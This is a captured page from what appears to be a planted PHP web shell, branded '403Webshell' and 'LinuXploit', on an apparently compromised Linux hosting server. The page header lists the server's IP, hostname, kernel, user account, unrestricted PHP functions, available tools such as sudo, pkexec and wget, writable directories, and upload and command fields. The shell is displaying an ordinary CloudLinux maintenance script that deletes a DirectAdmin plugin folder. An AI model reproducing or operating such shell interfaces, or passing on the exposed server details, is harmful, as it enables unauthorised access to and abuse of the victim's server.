- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 184.154.167.98  /  Your IP : 3.14.145.97
Web Server : Apache
System : Linux pink.dnsnetservice.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : puertode ( 1767)
PHP Version : 8.2.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/l.v.e-manager/utils/downgrades/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/l.v.e-manager/utils/downgrades/clear-python-selector.py
#!/opt/cloudlinux/venv/bin/python3 -bb
# coding:utf-8

# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2019 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENSE.TXT

# Python Selector is available for DirectAdmin starts from v.5.0.3
# This script is used in cpanel-lvemanager.spec in case when lvemanager version < 5.0.3

from __future__ import print_function
from __future__ import division
from __future__ import absolute_import
import os
import shutil

import cldetectlib as detect

ROOT_DA_DIR = "/usr/local/directadmin/plugins/"
LVEMANAGER_VER = "/usr/share/l.v.e-manager/version"
PYTHON_SUPPORT_VERSION = "5.0.3"

def main():
    try:
        detect.getCP()
        if detect.CP_NAME == "DirectAdmin" and is_python_unsupport_version():
            if os.path.exists(ROOT_DA_DIR+"python_selector"):
                shutil.rmtree(ROOT_DA_DIR+"python_selector")
    except Exception as e:
        print(e)

def current_version():
    try:
        with open(LVEMANAGER_VER) as f:
            version = f.read()
        return version.split('-')[0]
    except Exception as e:
        print(e)

def is_python_unsupport_version():
    try:
        # Compare tuples because 10.1.1 > 5.1.1 will return false if compare strings
        current_ver_tuple = tuple([int(i) for i in current_version().split(".")])
        python_support_ver_tuple = tuple([int(i) for i in PYTHON_SUPPORT_VERSION.split(".")])
        return current_ver_tuple < python_support_ver_tuple
    except Exception as e:
        print(e)

if __name__ == '__main__':
    main()

Youez - 2016 - github.com/yon3zu
LinuXploit